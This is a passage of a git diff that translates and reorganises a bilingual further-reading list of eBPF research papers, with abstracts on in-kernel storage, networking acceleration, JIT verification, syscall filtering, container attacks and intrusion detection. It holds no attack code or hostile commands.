使用率降低了10倍。此外,eBPF 为 SPRIGHT 带来了好处,替换了繁重的无服务器组件,使我们能够以微不足道的代价保持函数处于"暖"状态。 +We describe SPRIGHT, a lightweight, high-performance, responsive serverless framework. SPRIGHT exploits shared memory processing and dramatically improves the scalability of the dataplane by avoiding unnecessary protocol processing and serialization-deserialization overheads. SPRIGHT extensively leverages event-driven processing with the extended Berkeley Packet Filter (eBPF). We creatively use eBPF's socket message mechanism to support shared memory processing, with overheads being strictly load-proportional. Compared to constantly-running, polling-based DPDK, SPRIGHT achieves the same dataplane performance with 10× less CPU usage under realistic workloads. Additionally, eBPF benefits SPRIGHT, by replacing heavyweight serverless components, allowing us to keep functions 'warm' with negligible penalty. -我们的初步实验结果显示,与 Knative 相比,SPRIGHT 在吞吐量和延迟方面实现了一个数量级的提高,同时大大减少了 CPU 使用,并消除了 "冷启动"的需要。 +Our preliminary experimental results show that SPRIGHT achieves an order of magnitude improvement in throughput and latency compared to Knative, while substantially reducing CPU usage, and obviates the need for 'cold-start'. -## Programmable System Call Security with eBPF +## KEN: Kernel Extensions using Natural Language + +The ability to modify and extend an operating system is an important feature for improving a system's security, reliability, and performance. The extended Berkeley Packet Filters (eBPF) ecosystem has emerged as the standard mechanism for extending the Linux kernel and has recently been ported to Windows. eBPF programs inject new logic into the kernel that the system will execute before or after existing logic. While the eBPF ecosystem provides a flexible mechanism for kernel extension, it is difficult for developers to write eBPF programs today. An eBPF developer must have deep knowledge of the internals of the operating system to determine where to place logic and cope with programming limitations on the control flow and data accesses of their eBPF program enforced by the eBPF verifier. This paper presents KEN, an alternative framework that alleviates the difficulty of writing an eBPF program by allowing Kernel Extensions to be written in Natural language. KEN uses recent advances in large language models (LLMs) to synthesize an eBPF program given a user's English language prompt. To ensure that LLM's output is semantically equivalent to the user's prompt, KEN employs a combination of LLM-empowered program comprehension, symbolic execution, and a series of feedback loops. KEN's key novelty is the combination of these techniques. In particular, the system uses symbolic execution in a novel structure that allows it to combine the results of program synthesis and program comprehension and build on the recent success that LLMs have shown for each of these tasks individually. To evaluate KEN, we developed a new corpus of natural language prompts for eBPF programs. We show that KEN produces correct eBPF programs on 80% which is an improvement of a factor of 2.67 compared to an LLM-empowered program synthesis baseline. -利用 eBPF 进行可编程的系统调用安全 +eBPF'24: and arxiv -系统调用过滤是一种广泛用于保护共享的 OS 内核免受不受信任的用户应用程序威胁的安全机制。但是,现有的系统调用过滤技术要么由于用户空间代理带来的上下文切换开销过于昂贵,要么缺乏足够的可编程性来表达高级策略。Seccomp 是 Linux 的系统调用过滤模块,广泛用于现代的容器技术、移动应用和系统管理服务。尽管采用了经典的 BPF 语言(cBPF),但 Seccomp 中的安全策略主要限于静态的允许列表,主要是因为 cBPF 不支持有状态的策略。因此,许多关键的安全功能无法准确地表达,和/或需要修改内核。 +## Programmable System Call Security with eBPF -在这篇论文中,我们介绍了一个可编程的系统调用过滤机制,它通过利用扩展的 BPF 语言(eBPF)使得更高级的安全策略得以表达。更具体地说,我们创建了一个新的 Seccomp eBPF 程序类型,暴露、修改或创建新的 eBPF 助手函数来安全地管理过滤状态、访问内核和用户状态,以及利用同步原语。重要的是,我们的系统与现有的内核特权和能力机制集成,使非特权用户能够安全地安装高级过滤器。我们的评估表明,我们基于 eBPF 的过滤可以增强现有策略(例如,通过时间专化,减少早期执行阶段的攻击面积高达55.4%)、缓解实际漏洞并加速过滤器。 +System call filtering is a widely used security mechanism for protecting a shared OS kernel against untrusted user applications. However, existing system call filtering techniques either are too expensive due to the context switch overhead imposed by userspace agents, or lack sufficient programmability to express advanced policies. Seccomp, Linux's system call filtering module, is widely used by modern container technologies, mobile apps, and system management services. Despite the adoption of the classic BPF language (cBPF), security policies in Seccomp are mostly limited to static allow lists, primarily because cBPF does not support stateful policies. Consequently, many essential security features cannot be expressed precisely and/or require kernel modifications. +In this paper, we present a programmable system call filtering mechanism, which enables more advanced security policies to be expressed by leveraging the extended BPF language (eBPF). More specifically, we create a new Seccomp eBPF program type, exposing, modifying or creating new eBPF helper functions to safely manage filter state, access kernel and user state, and utilize synchronization primitives. Importantly, our system integrates with existing kernel privilege and capability mechanisms, enabling unprivileged users to install advanced filters safely. Our evaluation shows that our eBPF-based filtering can enhance existing policies (e.g., reducing the attack surface of early execution phase by up to 55.4% for temporal specialization), mitigate real-world vulnerabilities, and accelerate filters. ## Cross Container Attacks: The Bewildered eBPF on Clouds -在云上困惑的 eBPF 之间的容器攻击 - -扩展的伯克利数据包过滤器(eBPF)为用户空间程序提供了强大而灵活的内核接口,通过在内核空间直接运行字节码来扩展内核功能。它已被云服务广泛使用,以增强容器安全性、网络管理和系统可观察性。然而,我们发现在 Linux 主机上广泛讨论的攻击性 eBPF 可以为容器带来新的攻击面。通过 eBPF 的追踪特性,攻击者可以破坏容器的隔离并攻击主机,例如,窃取敏感数据、进行 DoS 攻击,甚至逃逸容器。在这篇论文中,我们研究基于 eBPF 的跨容器攻击,并揭示其在实际服务中的安全影响。利用 eBPF 攻击,我们成功地妨害了五个在线的 Jupyter/交互式 Shell 服务和 Google Cloud Platform 的 Cloud Shell。此外,我们发现三家领先的云供应商提供的 Kubernetes 服务在攻击者通过 eBPF 逃逸容器后可以被利用来发起跨节点攻击。具体来说,在阿里巴巴的 Kubernetes 服务中,攻击者可以通过滥用他们过度特权的云指标或管理 Pods 来妨害整个集群。不幸的是,容器上的 eBPF 攻击鲜为人知,并且现有的入侵检测系统几乎无法发现它们。此外,现有的 eBPF 权限模型无法限制 eBPF 并确保在共享内核的容器环境中安全使用。为此,我们提出了一个新的 eBPF 权限模型,以对抗容器中的 eBPF 攻击。 +The extended Berkeley Packet Filter (eBPF) provides powerful and flexible kernel interfaces to extend the kernel functions for user space programs via running bytecode directly in the kernel space. It has been widely used by cloud services to enhance container security, network management, and system observability. However, we discover that the offensive eBPF that have been extensively discussed in Linux hosts can bring new attack surfaces to containers. With eBPF tracing features, attackers can break the container's isolation and attack the host, e.g., steal sensitive data, DoS, and even escape the container. In this paper, we study the eBPF-based cross container attacks and reveal their security impacts in real world services. With eBPF attacks, we successfully compromise five online Jupyter/Interactive Shell services and the Cloud Shell of Google Cloud Platform. Furthermore, we find that the Kubernetes services offered by three leading cloud vendors can be exploited to launch cross-node attacks after the attackers escape the container via eBPF. Specifically, in Alibaba's Kubernetes services, attackers can compromise the whole cluster by abusing their over-privileged cloud metrics or management Pods. Unfortunately, the eBPF attacks on containers are seldom known and can hardly be discovered by existing intrusion detection systems. Also, the existing eBPF permission model cannot confine the eBPF and ensure secure usage in shared-kernel container environments. To this end, we propose a new eBPF permission model to counter the eBPF attacks in containers. ## Comparing Security in eBPF and WebAssembly -比较 eBPF 和 WebAssembly 中的安全性 - -本文研究了 eBPF 和 WebAssembly(Wasm)的安全性,这两种技术近年来得到了广泛的采用,尽管它们是为非常不同的用途和环境而设计的。当 eBPF 主要用于 Linux 等操作系统内核时,Wasm 是一个为基于堆栈的虚拟机设计的二进制指令格式,其用途超出了 web。鉴于 eBPF 的增长和不断扩大的雄心,Wasm 可能提供有启发性的见解,因为它围绕在如 web 浏览器和云等复杂和敌对环境中安全执行任意不受信任的程序进行设计。我们分析了两种技术的安全目标 - -、社区发展、内存模型和执行模型,并进行了比较安全性评估,探讨了内存安全性、控制流完整性、API 访问和旁路通道。我们的结果表明,eBPF 有一个首先关注性能、其次关注安全的历史,而 Wasm 更强调安全,尽管要支付一些运行时开销。考虑 eBPF 的基于语言的限制和一个用于 API 访问的安全模型是未来工作的有益方向。 +This paper examines the security of eBPF and WebAssembly (Wasm), two technologies that have gained widespread adoption in recent years, despite being designed for very different use cases and environments. While eBPF is a technology primarily used within operating system kernels such as Linux, Wasm is a binary instruction format designed for a stack-based virtual machine with use cases extending beyond the web. Recognizing the growth and expanding ambitions of eBPF, Wasm may provide instructive insights, given its design around securely executing arbitrary untrusted programs in complex and hostile environments such as web browsers and clouds. We analyze the security goals, community evolution, memory models, and execution models of both technologies, and conduct a comparative security assessment, exploring memory safety, control flow integrity, API access, and side-channels. Our results show that eBPF has a history of focusing on performance first and security second, while Wasm puts more emphasis on security at the cost of some runtime overheads. Considering language-based restrictions for eBPF and a security model for API access are fruitful directions for future work. -更多内容可以在第一个 eBPF 研讨会中找到: +More about can be found in the first workshop: ## A flow-based IDS using Machine Learning in eBPF -基于eBPF中的机器学习的流式入侵检测系统 - -eBPF 是一种新技术,允许动态加载代码片段到 Linux 内核中。它可以大大加速网络,因为它使内核能够处理某些数据包而无需用户空间程序的参与。到目前为止,eBPF 主要用于简单的数据包过滤应用,如防火墙或拒绝服务保护。我们证明在 eBPF 中完全基于机器学习开发流式网络入侵检测系统是可行的。我们的解决方案使用决策树,并为每个数据包决定它是否恶意,考虑到网络流的整个先前上下文。与作为用户空间程序实现的同一解决方案相比,我们实现了超过 20% 的性能提升。 +eBPF is a new technology which allows dynamically loading pieces of code into the Linux kernel. It can greatly speed up networking since it enables the kernel to process certain packets without the involvement of a userspace program. So far eBPF has been used for simple packet filtering applications such as firewalls or Denial of Service protection. We show that it is possible to develop a flow based network intrusion detection system based on machine learning entirely in eBPF. Our solution uses a decision tree and decides for each packet whether it is malicious or not, considering the entire previous context of the network flow. We achieve a performance increase of over 20% compared to the same solution implemented as a userspace program. ## Femto-containers: lightweight virtualization and fault isolation for small software functions on low-power IoT microcontrollers -针对低功耗 IoT 微控制器上的小型软件功能的轻量级虚拟化和故障隔离: Femto-容器 - -低功耗的 IoT 微控制器上运行的操作系统运行时通常提供基础的 API、基本的连接性和(有时)一个(安全的)固件更新机制。相比之下,在硬件约束较少的场合,网络化软件已进入无服务器、微服务和敏捷的时代。考虑到弥合这一差距,我们在论文中设计了 Femto-容器,这是一种新的中间件运行时,可以嵌入到各种低功耗 IoT 设备中。Femto-容器使得可以在低功耗 IoT 设备上通过网络安全地部署、执行和隔离小型虚拟软件功能。我们实施了 Femto-容器,并在 RIOT 中提供了集成,这是一个受欢迎的开源 IoT 操作系统。然后,我们评估了我们的实现性能,它已被正式验证用于故障隔离,确保 RIOT 受到加载并在 Femto-容器中执行的逻辑的保护。我们在各种受欢迎的微控制器架构(Arm Cortex-M、ESP32 和 RISC-V)上的实验表明,Femto-容器在内存占用开销、能源消耗和安全性方面提供了有吸引力的权衡。 +Low-power operating system runtimes used on IoT microcontrollers typically provide rudimentary APIs, basic connectivity and, sometimes, a (secure) firmware update mechanism. In contrast, on less constrained hardware, networked software has entered the age of serverless, microservices and agility. With a view to bridge this gap, in the paper we design Femto-Containers, a new middleware runtime which can be embedded on heterogeneous low-power IoT devices. Femto-Containers enable the secure deployment, execution and isolation of small virtual software functions on low-power IoT devices, over the network. We implement Femto-Containers, and provide integration in RIOT, a popular open source IoT operating system. We then evaluate the performance of our implementation, which was formally verified for fault-isolation, guaranteeing that RIOT is shielded from logic loaded and executed in a Femto-Container. Our experiments on various popular micro-controller architectures (Arm Cortex-M, ESP32 and RISC-V) show that Femto-Containers offer an attractive trade-off in terms of memory footprint overhead, energy consumption, and security. + +> The original link of this article: diff --git a/src/18-further-reading/README.zh.md b/src/18-further-reading/README.zh.md new file mode 100644 index 00000000..a93e4e67 --- /dev/null +++ b/src/18-further-reading/README.zh.md @@ -0,0 +1,149 @@ +# 更多的参考资料:论文、项目等等 + +可以在这里找到更多关于 eBPF 的信息: + +- 一个关于 eBPF 相关内容和信息的详细列表: +- eBPF 相关项目、教程: + +这是我近年来读过的与 eBPF 相关的论文列表,可能对于对 eBPF 相关研究感兴趣的人有所帮助。 + +eBPF(扩展的伯克利数据包过滤器)是一种新兴的技术,允许在 Linux 内核中安全地执行用户提供的程序。近年来,它因加速网络处理、增强可观察性和实现可编程数据包处理而得到了广泛的应用。此文档列出了过去几年关于 eBPF 的一些关键研究论文。这些论文涵盖了 eBPF 的几个方面,包括加速分布式系统、存储和网络,正式验证 eBPF 的 JIT 编译器和验证器,将 eBPF 用于入侵检测,以及从 eBPF 程序自动生成硬件设计。 + +一些关键亮点: + +- eBPF 允许在内核中执行自定义函数,以加速分布式协议、存储引擎和网络应用,与传统的用户空间实现相比,可以提高吞吐量和降低延迟。 +- eBPF 组件(如 JIT 和验证器)的正式验证确保了正确性,并揭示了实际实现中的错误。 +- eBPF 的可编程性和效率使其适合在内核中完全构建入侵检测和网络监控应用。 +- 从 eBPF 程序中自动生成硬件设计允许软件开发人员快速生成网络卡中的优化数据包处理管道。 + +这些论文展示了 eBPF 在加速系统、增强安全性和简化网络编程方面的多功能性。随着 eBPF 的采用不断增加,它是一个与性能、安全性、硬件集成和易用性相关的系统研究的重要领域。 + +如果您有任何建议或添加论文的意见,请随时开放一个问题或PR。此列表创建于 2023.10,未来将添加新的论文。 + +> 如果您对 eBPF 有些进一步的兴趣的话,也可以查看我们在 [eunomia-bpf](https://github.com/eunomia-bpf) 的开源项目和 [bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 的 eBPF 教程。我也在寻找 2024/2025 年系统和网络领域的 PhD 相关机会,这是我的 [Github](https://github.com/yunwei37) 和 [邮箱](mailto:yunwei356@gmail.com)。 + +## XRP: In-Kernel Storage Functions with eBPF + +随着微秒级 NVMe 存储设备的出现,Linux 内核存储堆栈开销变得显著,几乎使访问时间翻倍。我们介绍了 XRP,一个框架,允许应用程序从 eBPF 在 NVMe 驱动程序中的钩子执行用户定义的存储功能,如索引查找或聚合,安全地绕过大部分内核的存储堆栈。为了保持文件系统的语义,XRP 将少量的内核状态传播到其 NVMe 驱动程序钩子,在那里调用用户注册的 eBPF 函数。我们展示了如何利用 XRP 显著提高两个键值存储,BPF-KV,一个简单的 B+ 树键值存储,和 WiredTiger,一个流行的日志结构合并树存储引擎的吞吐量和延迟。 + +OSDI '22 最佳论文: + +## Specification and verification in the field: Applying formal methods to BPF just-in-time compilers in the Linux kernel + +本文描述了我们将形式方法应用于 Linux 内核中的一个关键组件,即 Berkeley 数据包过滤器 (BPF) 虚拟机的即时编译器 ("JIT") 的经验。我们使用 Jitterbug 验证这些 JIT,这是第一个提供 JIT 正确性的精确规范的框架,能够排除实际错误,并提供一个自动化的证明策略,该策略可以扩展到实际实现。使用 Jitterbug,我们设计、实施并验证了一个新的针对 32 位 RISC-V 的 BPF JIT,在五个其他部署的 JIT 中找到并修复了 16 个之前未知的错误,并开发了新的 JIT 优化;所有这些更改都已上传到 Linux 内核。结果表明,在一个大型的、未经验证的系统中,通过仔细设计规范和证明策略,可以构建一个经过验证的组件。 + +OSDI 20: + +## λ-IO: A Unified IO Stack for Computational Storage + +新兴的计算存储设备为存储内计算提供了一个机会。它减少了主机与设备之间的数据移动开销,从而加速了数据密集型应用程序。在这篇文章中,我们介绍 λ-IO,一个统一的 IO 堆栈,跨主机和设备管理计算和存储资源。我们提出了一套设计 - 接口、运行时和调度 - 来解决三个关键问题。我们在全堆栈软件和硬件环境中实施了 λ-IO,并使用合成和实际应用程序对其 + +进行评估,与 Linux IO 相比,显示出高达 5.12 倍的性能提升。 + +FAST23: + +## Extension Framework for File Systems in User space + +用户文件系统相对于其内核实现提供了许多优势,例如开发的简易性和更好的系统可靠性。然而,它们会导致重大的性能损失。我们观察到现有的用户文件系统框架非常通用;它们由一个位于内核中的最小干预层组成,该层简单地将所有低级请求转发到用户空间。虽然这种设计提供了灵活性,但由于频繁的内核-用户上下文切换,它也严重降低了性能。 + +这项工作介绍了 ExtFUSE,一个用于开发可扩展用户文件系统的框架,该框架还允许应用程序在内核中注册"薄"的专用请求处理程序,以满足其特定的操作需求,同时在用户空间中保留复杂的功能。我们使用两个 FUSE 文件系统对 ExtFUSE 进行评估,结果表明 ExtFUSE 可以通过平均不到几百行的改动来提高用户文件系统的性能。ExtFUSE 可在 GitHub 上找到。 + +ATC 19: + +## Electrode: Accelerating Distributed Protocols with eBPF + +在标准的Linux内核网络栈下实现分布式协议可以享受到负载感知的CPU缩放、高兼容性以及强大的安全性和隔离性。但由于过多的用户-内核切换和内核网络栈遍历,其性能较低。我们介绍了Electrode,这是一套为分布式协议设计的基于eBPF的性能优化。这些优化在网络栈之前在内核中执行,但实现了与用户空间中实现的相似功能(例如,消息广播,收集ack的仲裁),从而避免了用户-内核切换和内核网络栈遍历所带来的开销。我们展示,当应用于经典的Multi-Paxos状态机复制协议时,Electrode可以提高其吞吐量高达128.4%,并将延迟降低高达41.7%。 + +NSDI 23: [链接](https://www.usenix.org/conference/nsdi23/presentation/zhou) + +## BMC: Accelerating Memcached using Safe In-kernel Caching and Pre-stack Processing + +内存键值存储是帮助扩展大型互联网服务的关键组件,通过提供对流行数据的低延迟访问。Memcached是最受欢迎的键值存储之一,由于Linux网络栈固有的性能限制,当使用高速网络接口时,其性能不高。虽然可以使用DPDK基础方案绕过Linux网络栈,但这种方法需要对软件栈进行完全重新设计,而且在客户端负载较低时也会导致高CPU利用率。 + +为了克服这些限制,我们提出了BMC,这是一个为Memcached设计的内核缓存,可以在执行标准网络栈之前服务于请求。对BMC缓存的请求被视为NIC中断的一部分,这允许性能随着为NIC队列服务的核心数量而扩展。为确保安全,BMC使用eBPF实现。尽管eBPF具有安全约束,但我们展示了实现复杂缓存服务是可能的。因为BMC在商用硬件上运行,并且不需要修改Linux内核或Memcached应用程序,所以它可以在现有系统上广泛部署。BMC优化了Facebook样式的小型请求的处理时间。在这个目标工作负载上,我们的评估显示,与原始的Memcached应用程序相比,BMC的吞吐量提高了高达18倍,与使用SO_REUSEPORT套接字标志的优化版Memcached相比,提高了高达6倍。此外,我们的结果还显示,对于非目标工作负载,BMC的开销可以忽略不计,并且不会降低吞吐量。 + +NSDI 21: [链接](https://www.usenix.org/conference/nsdi21/presentation/ghigoff) + +## hXDP: Efficient Software Packet Processing on FPGA NICs + +FPGA加速器在NIC上使得从CPU卸载昂贵的数据包处理任务成为可能。但是,FPGA有限的资源可能需要在多个应用程序之间共享,而编程它们则很困难。 + +我们提出了一种在FPGA上运行Linux的eXpress Data Path程序的解决方案,这些程序使用eBPF编写,仅使用可用硬件资源的一部分,同时匹配高端CPU的性能。eBPF的迭代执行模型不适合FPGA加速器。尽管如此,我们展示了,当针对一个特定的FPGA执行器时,一个eBPF程序的许多指令可以被压缩、并行化或完全删除,从而显著提高性能。我们利用这一点设计了hXDP,它包括(i)一个优化编译器,该编译器并行化并将eBPF字节码转换为我们定义的扩展eBPF指令集架构;(ii)一个在FPGA上执行这些指令的软处理器;以及(iii)一个基于FPGA的基础设施,提供XDP的maps和Linux内核中定义的helper函数。 + +我们在FPGA NIC上实现了hXDP,并评估了其运行真实世界的未经修改的eBPF程序的性能。我们的实现以156.25MHz的速度时钟,使用约15%的FPGA资源,并可以运行动态加载的程序。尽管有这些适度的要求,但它达到了高端CPU核心的数据包处理吞吐量,并提供了10倍低的数据包转发延迟。 + +OSDI 20: [链接](https://www.usenix.org/conference/osdi20/presentation/brunella) + +## Network-Centric Distributed Tracing with DeepFlow: Troubleshooting Your Microservices in Zero Code + +微服务正变得越来越复杂,给传统的性能监控解决方案带来了新的挑战。一方面,微服务的快速演变给现有的分布式跟踪框架的使用和维护带来了巨大的负担。另一方面,复杂的基础设施增加了网络性能问题的概率,并在网络侧创造了更多的盲点。在这篇论文中,我们介绍了 DeepFlow,一个用于微服务故障排除的以网络为中心的分布式跟踪框架。DeepFlow 通过一个以网络为中心的跟踪平面和隐式的上下文传播提供开箱即用的跟踪。此外,它消除了网络基础设施中的盲点,以低成本方式捕获网络指标,并增强了不同组件和层之间的关联性。我们从分析和实证上证明,DeepFlow 能够准确地定位微服务性能异常,而开销几乎可以忽略不计。DeepFlow 已经为超过26家公司发现了71多个关键性能异常,并已被数百名开发人员所使用。我们的生产评估显示,DeepFlow 能够为用户节省数小时的仪表化工作,并将故障排除时间从数小时缩短到几分钟。 + +SIGCOMM 23: + +## Fast In-kernel Traffic Sketching in eBPF + +扩展的伯克利数据包过滤器(eBPF)是一个基础设施,允许在不重新编译的情况下动态加载并直接在 Linux 内核中运行微程序。 + +在这项工作中,我们研究如何在 eBPF 中开发高性能的网络测量。我们以绘图为案例研究,因为它们具有支持广泛任务的能力,同时提供低内存占用和准确性保证。我们实现了 NitroSketch,一个用于用户空间网络的最先进的绘图,并表明用户空间网络的最佳实践不能直接应用于 eBPF,因为它的性能特点不同。通过应用我们学到的经验教训,我们将其性能提高了40%,与初级实现相比。 + +SIGCOMM 23: + +## SPRIGHT: extracting the server from serverless computing! high-performance eBPF-based event-driven, shared-memory processing + +无服务器计算在云环境中承诺提供高效、低成本的计算能力。然而,现有的解决方案,如Knative这样的开源平台,包含了繁重的组件,破坏了无服务器计算的目标。此外,这种无服务器平台缺乏数据平面优化,无法实现高效的、高性能的功能链,这也是流行的微服务开发范式的设施。它们为构建功能链使用的不必要的复杂和重复的功能严重降低了性能。"冷启动"延迟是另一个威慑因素。 + +我们描述了 SPRIGHT,一个轻量级、高性能、响应式的无服务器框架。SPRIGHT 利用共享内存处理显著提高了数据平面的可伸缩性,通过避免不必要的协议处理和序列化-反序列化开销。SPRIGHT 大量利用扩展的伯克利数据包过滤器 (eBPF) 进行事件驱动处理。我们创造性地使用 eBPF 的套接字消息机制支持共享内存处理,其开销严格与负载成正比。与常驻、基于轮询的DPDK相比,SPRIGHT 在真实工作负载下实现了相同的数据平面性能,但 CPU 使用率降低了10倍。此外,eBPF 为 SPRIGHT 带来了好处,替换了繁重的无服务器组件,使我们能够以微不足道的代价保持函数处于"暖"状态。 + +我们的初步实验结果显示,与 Knative 相比,SPRIGHT 在吞吐量和延迟方面实现了一个数量级的提高,同时大大减少了 CPU 使用,并消除了 "冷启动"的需要。 + + + +## Kgent: Kernel Extensions Large Language Model Agent + +修改和扩展操作系统的能力是提高系统安全性、可靠性和性能的重要功能。扩展的伯克利数据包过滤器(eBPF)生态系统已经成为扩展Linux内核的标准机制,并且最近已被移植到Windows。eBPF程序将新逻辑注入内核,使系统在现有逻辑之前或之后执行这些逻辑。虽然eBPF生态系统提供了一种灵活的内核扩展机制,但目前开发人员编写eBPF程序仍然困难。eBPF开发人员必须深入了解操作系统的内部结构,以确定在何处放置逻辑,并应对eBPF验证器对其eBPF程序的控制流和数据访问施加的编程限制。本文介绍了KEN,一种通过允许使用自然语言编写内核扩展来缓解编写eBPF程序难度的替代框架。KEN利用大语言模型(LLMs)的最新进展,根据用户的英文提示生成eBPF程序。为了确保LLM的输出在语义上等同于用户的提示,KEN结合了LLM增强的程序理解、符号执行和一系列反馈循环。KEN的关键创新在于这些技术的结合。特别是,该系统以一种新颖的结构使用符号执行,使其能够结合程序综合和程序理解的结果,并建立在LLMs在每个任务中单独展示的成功基础上。为了评估KEN,我们开发了一个新的自然语言提示eBPF程序的语料库。我们显示,KEN在80%的情况下生成了正确的eBPF程序,这比LLM增强的程序综合基线提高了2.67倍。 + +eBPF'24: 和arxiv + +## Programmable System Call Security with eBPF + +利用 eBPF 进行可编程的系统调用安全 + +系统调用过滤是一种广泛用于保护共享的 OS 内核免受不受信任的用户应用程序威胁的安全机制。但是,现有的系统调用过滤技术要么由于用户空间代理带来的上下文切换开销过于昂贵,要么缺乏足够的可编程性来表达高级策略。Seccomp 是 Linux 的系统调用过滤模块,广泛用于现代的容器技术、移动应用和系统管理服务。尽管采用了经典的 BPF 语言(cBPF),但 Seccomp 中的安全策略主要限于静态的允许列表,主要是因为 cBPF 不支持有状态的策略。因此,许多关键的安全功能无法准确地表达,和/或需要修改内核。 + +在这篇论文中,我们介绍了一个可编程的系统调用过滤机制,它通过利用扩展的 BPF 语言(eBPF)使得更高级的安全策略得以表达。更具体地说,我们创建了一个新的 Seccomp eBPF 程序类型,暴露、修改或创建新的 eBPF 助手函数来安全地管理过滤状态、访问内核和用户状态,以及利用同步原语。重要的是,我们的系统与现有的内核特权和能力机制集成,使非特权用户能够安全地安装高级过滤器。我们的评估表明,我们基于 eBPF 的过滤可以增强现有策略(例如,通过时间专化,减少早期执行阶段的攻击面积高达55.4%)、缓解实际漏洞并加速过滤器。 + + + +## Cross Container Attacks: The Bewildered eBPF on Clouds + +在云上困惑的 eBPF 之间的容器攻击 + +扩展的伯克利数据包过滤器(eBPF)为用户空间程序提供了强大而灵活的内核接口,通过在内核空间直接运行字节码来扩展内核功能。它已被云服务广泛使用,以增强容器安全性、网络管理和系统可观察性。然而,我们发现在 Linux 主机上广泛讨论的攻击性 eBPF 可以为容器带来新的攻击面。通过 eBPF 的追踪特性,攻击者可以破坏容器的隔离并攻击主机,例如,窃取敏感数据、进行 DoS 攻击,甚至逃逸容器。在这篇论文中,我们研究基于 eBPF 的跨容器攻击,并揭示其在实际服务中的安全影响。利用 eBPF 攻击,我们成功地妨害了五个在线的 Jupyter/交互式 Shell 服务和 Google Cloud Platform 的 Cloud Shell。此外,我们发现三家领先的云供应商提供的 Kubernetes 服务在攻击者通过 eBPF 逃逸容器后可以被利用来发起跨节点攻击。具体来说,在阿里巴巴的 Kubernetes 服务中,攻击者可以通过滥用他们过度特权的云指标或管理 Pods 来妨害整个集群。不幸的是,容器上的 eBPF 攻击鲜为人知,并且现有的入侵检测系统几乎无法发现它们。此外,现有的 eBPF 权限模型无法限制 eBPF 并确保在共享内核的容器环境中安全使用。为此,我们提出了一个新的 eBPF 权限模型,以对抗容器中的 eBPF 攻击。 + + + +## Comparing Security in eBPF and WebAssembly + +比较 eBPF 和 WebAssembly 中的安全性 + +本文研究了 eBPF 和 WebAssembly(Wasm)的安全性,这两种技术近年来得到了广泛的采用,尽管它们是为非常不同的用途和环境而设计的。当 eBPF 主要用于 Linux 等操作系统内核时,Wasm 是一个为基于堆栈的虚拟机设计的二进制指令格式,其用途超出了 web。鉴于 eBPF 的增长和不断扩大的雄心,Wasm 可能提供有启发性的见解,因为它围绕在如 web 浏览器和云等复杂和敌对环境中安全执行任意不受信任的程序进行设计。我们分析了两种技术的安全目标、社区发展、内存模型和执行模型,并进行了比较安全性评估,探讨了内存安全性、控制流完整性、API 访问和旁路通道。我们的结果表明,eBPF 有一个首先关注性能、其次关注安全的历史,而 Wasm 更强调安全,尽管要支付一些运行时开销。考虑 eBPF 的基于语言的限制和一个用于 API 访问的安全模型是未来工作的有益方向。 + + + +更多内容可以在第一个 eBPF 研讨会中找到: + +## A flow-based IDS using Machine Learning in eBPF + +基于eBPF中的机器学习的流式入侵检测系统 + +eBPF 是一种新技术,允许动态加载代码片段到 Linux 内核中。它可以大大加速网络,因为它使内核能够处理某些数据包而无需用户空间程序的参与。到目前为止,eBPF 主要用于简单的数据包过滤应用,如防火墙或拒绝服务保护。我们证明在 eBPF 中完全基于机器学习开发流式网络入侵检测系统是可行的。我们的解决方案使用决策树,并为每个数据包决定它是否恶意,考虑到网络流的整个先前上下文。与作为用户空间程序实现的同一解决方案相比,我们实现了超过 20% 的性能提升。 + + + +## Femto-containers: lightweight virtualization and fault isolation for small software functions on low-power IoT microcontrollers + +针对低功耗 IoT 微控制器上的小型软件功能的轻量级虚拟化和故障隔离: Femto-容器 + +低功耗的 IoT 微控制器上运行的操作系统运行时通常提供基础的 API、基本的连接性和(有时)一个(安全的)固件更新机制。相比之下,在硬件约束较少的场合,网络化软件已进入无服务器、微服务和敏捷的时代。考虑到弥合这一差距,我们在论文中设计了 Femto-容器,这是一种新的中间件运行时,可以嵌入到各种低功耗 IoT 设备中。Femto-容器使得可以在低功耗 IoT 设备上通过网络安全地部署、执行和隔离小型虚拟软件功能。我们实施了 Femto-容器,并在 RIOT 中提供了集成,这是一个受欢迎的开源 IoT 操作系统。然后,我们评估了我们的实现性能,它已被正式验证用于故障隔离,确保 RIOT 受到加载并在 Femto-容器中执行的逻辑的保护。我们在各种受欢迎的微控制器架构(Arm Cortex-M、ESP32 和 RISC-V)上的实验表明,Femto-容器在内存占用开销、能源消耗和安全性方面提供了有吸引力的权衡。 + + diff --git a/src/18-further-reading/README_en.md b/src/18-further-reading/README_en.md deleted file mode 100644 index 658703cb..00000000 --- a/src/18-further-reading/README_en.md +++ /dev/null @@ -1,134 +0,0 @@ -# More Reference Materials: papers, projects - -You may find more about eBPF in these places: - -- A curated list of awesome projects related to eBPF: -- A website of eBPF projects and tutorials: - -This is also list of eBPF related papers I read in recent years, might be helpful for people who are interested in eBPF related research. - -eBPF (extended Berkeley Packet Filter) is an emerging technology that allows safe execution of user-provided programs in the Linux kernel. It has gained widespread adoption in recent years for accelerating network processing, enhancing observability, and enabling programmable packet processing. - -This document list some key research papers on eBPF over the past few years. The papers cover several aspects of eBPF, including accelerating distributed systems, storage, and networking, formally verifying the eBPF JIT compiler and verifier, applying eBPF for intrusion detection, and automatically generating hardware designs from eBPF programs. - -Some key highlights: - -- eBPF enables executing custom functions in the kernel to accelerate distributed protocols, storage engines, and networking applications with improved throughput and lower latency compared to traditional userspace implementations. -- Formal verification of eBPF components like JIT and verifier ensures correctness and reveals bugs in real-world implementations. -- eBPF's programmability and efficiency make it suitable for building intrusion detection and network monitoring applications entirely in the kernel. -- Automated synthesis of hardware designs from eBPF programs allows software developers to quickly generate optimized packet processing pipelines in network cards. - -The papers demonstrate eBPF's versatility in accelerating systems, enhancing security, and simplifying network programming. As eBPF adoption grows, it is an important area of systems research with many open problems related to performance, safety, hardware integration, and ease of use. - -If you have any suggestions or adding papers, please feel free to open an issue or PR. The list was created in 2023.10, New papers will be added in the future. - -> Check out our open-source projects at [eunomia-bpf](https://github.com/eunomia-bpf) and eBPF tutorials at [bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial). I'm also looking for a PhD position in the area of systems and networking in 2024/2025. My [Github](https://github.com/yunwei37) and [email](yunwei356@gmail.com). - -## XRP: In-Kernel Storage Functions with eBPF - -With the emergence of microsecond-scale NVMe storage devices, the Linux kernel storage stack overhead has become significant, almost doubling access times. We present XRP, a framework that allows applications to execute user-defined storage functions, such as index lookups or 